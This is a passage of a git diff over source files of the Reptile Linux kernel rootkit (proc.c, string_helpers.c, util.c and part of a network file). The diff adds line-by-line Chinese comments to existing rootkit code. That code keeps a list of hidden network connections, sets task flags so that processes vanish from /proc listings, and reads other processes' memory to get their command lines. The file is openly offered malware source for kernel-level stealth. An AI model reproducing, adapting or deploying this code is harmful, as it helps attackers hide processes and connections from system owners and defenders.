包含Netlink相关的头文件 +#include // 包含网络诊断相关的头文件 -#include "network.h" -#include "string_helpers.h" +#include "network.h" // 包含自定义的network.h头文件 +#include "string_helpers.h" // 包含自定义的string_helpers.h头文件 +// 添加一个隐藏的网络连接 void network_hide_add(struct sockaddr_in addr) { - struct hidden_conn *hc; + struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针 - hc = kmalloc(sizeof(*hc), GFP_KERNEL); + hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存 - if (!hc) - return; + if (!hc) // 如果内存分配失败 + return; // 直接返回 - hc->addr = addr; - list_add(&hc->list, &hidden_conn_list); + hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员 + list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中 } +// 移除一个隐藏的网络连接 void network_hide_remove(struct sockaddr_in addr) { - struct hidden_conn *hc; + struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针 - list_for_each_entry(hc, &hidden_conn_list, list) + list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表 { - if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { - list_del(&hc->list); - kfree(hc); - break; + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址 + list_del(&hc->list); // 从列表中删除该节点 + kfree(hc); // 释放内存 + break; // 退出循环 } } } +// 检查一个地址是否被隐藏 int is_addr_hidden(struct sockaddr_in addr) { - struct hidden_conn *hc; + struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针 - list_for_each_entry(hc, &hidden_conn_list, list) + list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表 { - if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) - return 1; + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址 + return 1; // 返回1,表示地址被隐藏 } - return 0; + return 0; // 返回0,表示地址未被隐藏 } /* unsigned int _inet4_pton(char *src) { - unsigned int dst; - int srclen = strlen(src); + unsigned int dst; // 定义一个无符号整数用于存储转换后的地址 + int srclen = strlen(src); // 获取源字符串的长度 - if (srclen > INET_ADDRSTRLEN) - return -EINVAL; + if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度 + return -EINVAL; // 返回无效参数错误 - if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) - return -EINVAL; + if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址 + return -EINVAL; // 如果转换失败,返回无效参数错误 - return dst; + return dst; // 返回转换后的地址 } void hide_conn(char *ip_str) { - unsigned int ip; - struct sockaddr_in addr; + unsigned int ip; // 定义一个无符号整数用于存储IP地址 + struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址 - if ((ip = _inet4_pton(ip_str)) > 0) { - addr.sin_addr.s_addr = ip; + if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址 + addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员 - if (is_addr_hidden(addr)) - network_hide_remove(addr); + if (is_addr_hidden(addr)) // 如果地址已经被隐藏 + network_hide_remove(addr); // 移除隐藏的地址 else - network_hide_add(addr); + network_hide_add(addr); // 添加隐藏的地址 } } */ \ No newline at end of file diff --git a/src/Reptile/kernel/proc.c b/src/Reptile/kernel/proc.c index 45a7788..f788a9b 100644 --- a/src/Reptile/kernel/proc.c +++ b/src/Reptile/kernel/proc.c @@ -1,132 +1,137 @@ -#include -#include -#include -#include -#include -#include +#include // 包含内核版本相关的头文件 +#include // 包含用户空间访问相关的头文件 +#include // 包含字符类型判断相关的头文件 +#include // 包含内核内存分配相关的头文件 +#include // 包含文件路径相关的头文件 +#include // 包含系统限制相关的头文件 #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) -# include +# include // 包含调度和信号相关的头文件(内核版本4.11及以上) #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) -# include "string_helpers.h" +# include "string_helpers.h" // 包含字符串辅助函数(内核版本4.2以下) #endif -#include "proc.h" +#include "proc.h" // 包含自定义的proc.h头文件 +// 设置或清除任务的标志 int flag_tasks(pid_t pid, int set) { - int ret = 0; - struct pid *p; + int ret = 0; // 返回值初始化为0 + struct pid *p; // 定义pid结构体指针 - rcu_read_lock(); - p = find_get_pid(pid); + rcu_read_lock(); // 获取RCU读锁 + p = find_get_pid(pid); // 根据pid获取pid结构体 if (p) { - struct task_struct *task = get_pid_task(p, PIDTYPE_PID); + struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体 if (task) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) struct task_struct *t = NULL; - for_each_thread(task, t) + for_each_thread(task, t) // 遍历任务的所有线程 { if (set) - t->flags |= FLAG; + t->flags |= FLAG; // 设置标志 else - t->flags &= ~FLAG; + t->flags &= ~FLAG; // 清除标志 - ret++; + ret++; // 计数 } #endif if (set) - task->flags |= FLAG; + task->flags |= FLAG; // 设置标志 else - task->flags &= ~FLAG; + task->flags &= ~FLAG; // 清除标志 - put_task_struct(task); + put_task_struct(task); // 释放任务结构体 } - put_pid(p); + put_pid(p); // 释放pid结构体 } - rcu_read_unlock(); - return ret; + rcu_read_unlock(); // 释放RCU读锁 + return ret; // 返回设置或清除标志的任务数 } +// 根据pid查找任务 struct task_struct *find_task(pid_t pid) { - struct task_struct *p = current; - struct task_struct *ret = NULL; + struct task_struct *p = current; // 当前任务 + struct task_struct *ret = NULL; // 返回值初始化为NULL - rcu_read_lock(); - for_each_process(p) + rcu_read_lock(); // 获取RCU读锁 + for_each_process(p) // 遍历所有进程 { - if (p->pid == pid) { - get_task_struct(p); - ret = p; + if (p->pid == pid) { // 如果找到匹配的pid + get_task_struct(p); // 获取任务结构体 + ret = p; // 设置返回值 } } - rcu_read_unlock(); + rcu_read_unlock(); // 释放RCU读锁 - return ret; + return ret; // 返回找到的任务结构体 } +// 判断进程是否不可见 int is_proc_invisible(pid_t pid) { - struct task_struct *task; - int ret = 0; + struct task_struct *task; // 定义任务结构体指针 + int ret = 0; // 返回值初始化为0 - if (!pid) - return ret; + if (!pid) // 如果pid为0 + return ret; // 返回0 - task = find_task(pid); - if (!task) - return ret; + task = find_task(pid); // 查找任务 + if (!task) // 如果没有找到任务 + return ret; // 返回0 - if (is_task_invisible(task)) - ret = 1; + if (is_task_invisible(task)) // 判断任务是否不可见 + ret = 1; // 设置返回值为1 - put_task_struct(task); - return ret; + put_task_struct(task); // 释放任务结构体 + return ret; // 返回结果 } +// 判断/proc目录下的进程是否不可见 int is_proc_invisible_2(const char __user *filename) { - int ret = 0, i, argc, is_num = 1; - pid_t pid = 0; - char **a; - char *name = kmalloc(PATH_MAX, GFP_KERNEL); + int ret = 0, i, argc, is_num = 1; // 初始化变量 + pid_t pid = 0; // 初始化pid + char **a; // 定义字符指针数组 + char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存 - if (strncpy_from_user(name, filename, PATH_MAX) > 0) { - if (strncmp(name, "/proc/", 6) == 0) { - strreplace(name, '/', ' '); + if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串 + if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头 + strreplace(name, '/', ' '); // 替换斜杠为空格 - a = argv_split(GFP_KERNEL, name, &argc); + a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串 - for (i = 0; i < strlen(a[1]); i++) { - if (!isdigit(*a[1])) - is_num = 0; + for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串 + if (!isdigit(*a[1])) // 判断是否为数字 + is_num = 0; // 设置为非数字 } if (is_num) { - if (kstrtoint(a[1], 10, &pid) == 0) { - if (is_proc_invisible(pid)) - ret = 1; + if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数 + if (is_proc_invisible(pid)) // 判断进程是否不可见 + ret = 1; // 设置返回值为1 } } - argv_free(a); + argv_free(a); // 释放字符指针数组 } } - kfree(name); - return ret; + kfree(name); // 释放内存 + return ret; // 返回结果 } +// 隐藏进程 void hide_proc(pid_t pid) { - if (is_proc_invisible(pid)) - flag_tasks(pid, 0); + if (is_proc_invisible(pid)) // 判断进程是否不可见 + flag_tasks(pid, 0); // 清除标志 else - flag_tasks(pid, 1); + flag_tasks(pid, 1); // 设置标志 } /* diff --git a/src/Reptile/kernel/string_helpers.c b/src/Reptile/kernel/string_helpers.c index 26a4edd..020d15d 100644 --- a/src/Reptile/kernel/string_helpers.c +++ b/src/Reptile/kernel/string_helpers.c @@ -1,31 +1,34 @@ -#include "string_helpers.h" +#include "string_helpers.h" // 包含头文件 -#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) // 如果内核版本小于4.7.0 /* stolen from lib/string_helpers.c */ -#include -#include +#include // 包含内核内存分配头文件 +#include // 包含字符类型处理头文件 -#define ESCAPE_SPACE 0x01 -#define ESCAPE_SPECIAL 0x02 -#define ESCAPE_NULL 0x04 -#define ESCAPE_OCTAL 0x08 -#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) -#define ESCAPE_NP 0x10 -#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) -#define ESCAPE_HEX 0x20 +// 定义各种转义标志 +#define ESCAPE_SPACE 0x01 +#define ESCAPE_SPECIAL 0x02 +#define ESCAPE_NULL 0x04 +#define ESCAPE_OCTAL 0x08 +#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) +#define ESCAPE_NP 0x10 +#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) +#define ESCAPE_HEX 0x20 +// 处理直接通过字符 static bool escape_passthrough(unsigned char c, char **dst, char *end) { char *out = *dst; if (out < end) - *out = c; + *out = c; // 直接复制字符 *dst = out + 1; return true; } +// 处理空白字符转义 static bool escape_space(unsigned char c, char **dst, char *end) { char *out = *dst; @@ -33,35 +36,36 @@ static bool escape_space(unsigned char c, char **dst, char *end) switch (c) { case '\n': - to = 'n'; + to = 'n'; // 换行符转义为 \n break; case '\r': - to = 'r'; + to = 'r'; // 回车符转义为 \r break; case '\t': - to = 't'; + to = 't'; // 制表符转义为 \t break; case '\v': - to = 'v'; + to = 'v'; // 垂直制表符转义为 \v break; case '\f': - to = 'f'; + to = 'f'; // 换页符转义为 \f break; default: - return false; + return false; // 不是空白字符 } if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = to; + *out = to; // 添加转义后的字符 ++out; *dst = out; return true; } +// 处理特殊字符转义 static bool escape_special(unsigned char c, char **dst, char *end) { char *out = *dst; @@ -69,91 +73,95 @@ static bool escape_special(unsigned char c, char **dst, char *end) switch (c) { case '\\': - to = '\\'; + to = '\\'; // 反斜杠转义为 \\ break; case '\a': - to = 'a'; + to = 'a'; // 响铃符转义为 \a break; case '\e': - to = 'e'; + to = 'e'; // 转义符转义为 \e break; default: - return false; + return false; // 不是特殊字符 } if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = to; + *out = to; // 添加转义后的字符 ++out; *dst = out; return true; } +// 处理空字符转义 static bool escape_null(unsigned char c, char **dst, char *end) { char *out = *dst; if (c) - return false; + return false; // 不是空字符 if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = '0'; + *out = '0'; // 添加转义后的字符 ++out; *dst = out; return true; } +// 处理八进制字符转义 static bool escape_octal(unsigned char c, char **dst, char *end) { char *out = *dst; if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = ((c >> 6) & 0x07) + '0'; + *out = ((c >> 6) & 0x07) + '0'; // 添加八进制字符的高三位 ++out; if (out < end) - *out = ((c >> 3) & 0x07) + '0'; + *out = ((c >> 3) & 0x07) + '0'; // 添加八进制字符的中三位 ++out; if (out < end) - *out = ((c >> 0) & 0x07) + '0'; + *out = ((c >> 0) & 0x07) + '0'; // 添加八进制字符的低三位 ++out; *dst = out; return true; } +// 处理十六进制字符转义 static bool escape_hex(unsigned char c, char **dst, char *end) { char *out = *dst; if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = 'x'; + *out = 'x'; // 添加十六进制标识符 ++out; if (out < end) - *out = hex_asc_hi(c); + *out = hex_asc_hi(c); // 添加十六进制字符的高四位 ++out; if (out < end) - *out = hex_asc_lo(c); + *out = hex_asc_lo(c); // 添加十六进制字符的低四位 ++out; *dst = out; return true; } +// 将字符串中的字符进行转义处理 int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, - unsigned int flags, const char *only) + unsigned int flags, const char *only) { char *p = dst; char *end = p + osz; @@ -163,19 +171,15 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, unsigned char c = *src++; /* - * Apply rules in the following sequence: - * - the character is printable, when @flags has - * %ESCAPE_NP bit set - * - the @only string is supplied and does not contain a - * character under question - * - the character doesn't fall into a class of symbols - * defined by given @flags - * In these cases we just pass through a character to the - * output buffer. + * 按以下顺序应用规则: + * - 当 @flags 设置了 %ESCAPE_NP 位时,字符是可打印的 + * - 提供了 @only 字符串且不包含当前字符 + * - 字符不属于由给定 @flags 定义的符号类 + * 在这些情况下,我们直接将字符传递到输出缓冲区。 */ if ((flags & ESCAPE_NP && isprint(c)) || - (is_dict && !strchr(only, c))) { - /* do nothing */ + (is_dict && !strchr(only, c))) { + /* 不做任何处理 */ } else { if (flags & ESCAPE_SPACE && escape_space(c, &p, end)) continue; @@ -186,7 +190,7 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, if (flags & ESCAPE_NULL && escape_null(c, &p, end)) continue; - /* ESCAPE_OCTAL and ESCAPE_HEX always go last */ + /* ESCAPE_OCTAL 和 ESCAPE_HEX 总是最后处理 */ if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end)) continue; @@ -194,12 +198,13 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, continue; } - escape_passthrough(c, &p, end); + escape_passthrough(c, &p, end); // 直接通过字符 } - return p - dst; + return p - dst; // 返回处理后的字符串长度 } +// 复制并转义字符串 char *kstrdup_quotable(const char *src, gfp_t gfp) { size_t slen, dlen; @@ -211,52 +216,54 @@ char *kstrdup_quotable(const char *src, gfp_t gfp) return NULL; slen = strlen(src); - dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); - dst = kmalloc(dlen + 1, gfp); + dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); // 计算转义后的长度 + dst = kmalloc(dlen + 1, gfp); // 分配内存 if (!dst) return NULL; - WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); - dst[dlen] = '\0'; + WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); // 转义字符串 + dst[dlen] = '\0'; // 添加字符串结束符 return dst; } #include "util.h" +// 复制并转义命令行字符串 char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp) { char *buffer, *quoted; int i, res; - buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); + buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); // 分配内存 if (!buffer) return NULL; - res = get_cmdline(task, buffer, PAGE_SIZE - 1); - buffer[res] = '\0'; + res = get_cmdline(task, buffer, PAGE_SIZE - 1); // 获取命令行 + buffer[res] = '\0'; // 添加字符串结束符 - /* Collapse trailing NULLs, leave res pointing to last non-NULL. */ + /* 折叠尾随的 NULL,保留 res 指向最后一个非 NULL。 */ while (--res >= 0 && buffer[res] == '\0') ; - /* Replace inter-argument NULLs. */ + /* 替换参数之间的 NULL。 */ for (i = 0; i <= res; i++) if (buffer[i] == '\0') buffer[i] = ' '; - /* Make sure result is printable. */ - quoted = kstrdup_quotable(buffer, gfp); - kfree(buffer); + /* 确保结果是可打印的。 */ + quoted = kstrdup_quotable(buffer, gfp); // 转义字符串 + kfree(buffer); // 释放内存 return quoted; } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +// 替换字符串中的字符 char *strreplace(char *s, char old, char new) { for (; *s; ++s) if (*s == old) - *s = new; + *s = new; // 替换字符 return s; } diff --git a/src/Reptile/kernel/util.c b/src/Reptile/kernel/util.c index 8f846ce..620986a 100644 --- a/src/Reptile/kernel/util.c +++ b/src/Reptile/kernel/util.c @@ -1,115 +1,120 @@ -#include -#include -#include -#include -#include -#include -#include -#include +#include // 包含内核模块相关的头文件 +#include // 包含内核符号表相关的头文件 +#include // 包含内核类型定义的头文件 +#include // 包含内核内存分配相关的头文件 +#include // 包含内存管理相关的头文件 +#include // 包含调度相关的头文件 +#include // 包含内核版本相关的头文件 +#include // 包含字符类型相关的头文件 #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) -# include +# include // 包含调度和内存管理相关的头文件(仅在内核版本4.11.0及以上) #endif -#include "util.h" +#include "util.h" // 包含自定义的util头文件 +// 声明一个函数指针,用于访问进程虚拟内存 asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int); int util_init(void) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) - _access_process_vm = (void *) access_process_vm; + // 在内核版本4.11.0及以上,直接使用access_process_vm函数 + _access_process_vm = (void *) access_process_vm; #else + // 在内核版本4.11.0以下,通过符号表查找access_process_vm函数 _access_process_vm = (void *) ksym_lookup_name("access_process_vm"); #endif - if (!_access_process_vm) + // 如果函数指针为空,返回错误 + if (!_access_process_vm) return -EFAULT; - return 0; + return 0; // 初始化成功,返回0 } -/* stolen from mm/util.c */ +/* 从mm/util.c文件中借用的函数 */ +// 获取进程的命令行参数 int get_cmdline(struct task_struct *task, char *buffer, int buflen) { - int res = 0; - unsigned int len; - struct mm_struct *mm = get_task_mm(task); - unsigned long arg_start, arg_end, env_start, env_end; - if (!mm) + int res = 0; // 初始化返回值 + unsigned int len; // 命令行参数的长度 + struct mm_struct *mm = get_task_mm(task); // 获取进程的内存描述符 + unsigned long arg_start, arg_end, env_start, env_end; // 命令行参数和环境变量的起始和结束地址 + + if (!mm) // 如果内存描述符为空,跳转到out标签 goto out; - if (!mm->arg_end) + if (!mm->arg_end) // 如果命令行参数的结束地址为空,跳转到out_mm标签 goto out_mm; - down_read(&mm->mmap_sem); - arg_start = mm->arg_start; - arg_end = mm->arg_end; - env_start = mm->env_start; - env_end = mm->env_end; - up_read(&mm->mmap_sem); + down_read(&mm->mmap_sem); // 获取内存描述符的读锁 + arg_start = mm->arg_start; // 获取命令行参数的起始地址 + arg_end = mm->arg_end; // 获取命令行参数的结束地址 + env_start = mm->env_start; // 获取环境变量的起始地址 + env_end = mm->env_end; // 获取环境变量的结束地址 + up_read(&mm->mmap_sem); // 释放内存描述符的读锁 - len = arg_end - arg_start; + len = arg_end - arg_start; // 计算命令行参数的长度 - if (len > buflen) + if (len > buflen) // 如果长度大于缓冲区长度,截断长度 len = buflen; + // 读取进程的命令行参数到缓冲区 res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE); - /* - * If the nul at the end of args has been overwritten, then - * assume application is using setproctitle(3). - */ + // 如果命令行参数的末尾被覆盖,假设应用程序使用了setproctitle(3) if (res > 0 && buffer[res-1] != '\0' && len < buflen) { - len = strnlen(buffer, res); + len = strnlen(buffer, res); // 获取缓冲区的实际长度 if (len < res) { - res = len; + res = len; // 更新返回值 } else { - len = env_end - env_start; - if (len > buflen - res) + len = env_end - env_start; // 计算环境变量的长度 + if (len > buflen - res) // 如果长度大于剩余缓冲区长度,截断长度 len = buflen - res; + // 读取进程的环境变量到缓冲区 res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE); - res = strnlen(buffer, res); + res = strnlen(buffer, res); // 获取缓冲区的实际长度 } } out_mm: - mmput(mm); + mmput(mm); // 释放内存描述符 out: - return res; + return res; // 返回读取的长度 } /* static int count_argc(const char *str) { - int count = 0; - bool was_space; + int count = 0; // 初始化参数计数 + bool was_space; // 标记上一个字符是否为空格 for (was_space = true; *str; str++) { - if (isspace(*str)) { - was_space = true; - } else if (was_space) { - was_space = false; - count++; + if (isspace(*str)) { // 如果当前字符为空格 + was_space = true; // 更新标记 + } else if (was_space) { // 如果当前字符不是空格且上一个字符为空格 + was_space = false; // 更新标记 + count++; // 增加参数计数 } } - return count; + return count; // 返回参数计数 } int run_cmd(const char *cmd) { - char **argv; - int ret; - int i; + char **argv; // 参数数组 + int ret; // 返回值 + int i; // 循环变量 - argv = argv_split(GFP_KERNEL, cmd, NULL); + argv = argv_split(GFP_KERNEL, cmd, NULL); // 分割命令行参数 if (argv) { - ret = exec(argv); - argv_free(argv); + ret = exec(argv); // 执行命令 + argv_free(argv); // 释放参数数组 } else { - ret = -ENOMEM; + ret = -ENOMEM; // 内存分配失败,返回错误 } - return ret; + return ret; // 返回执行结果 } */ \ No newline at end of file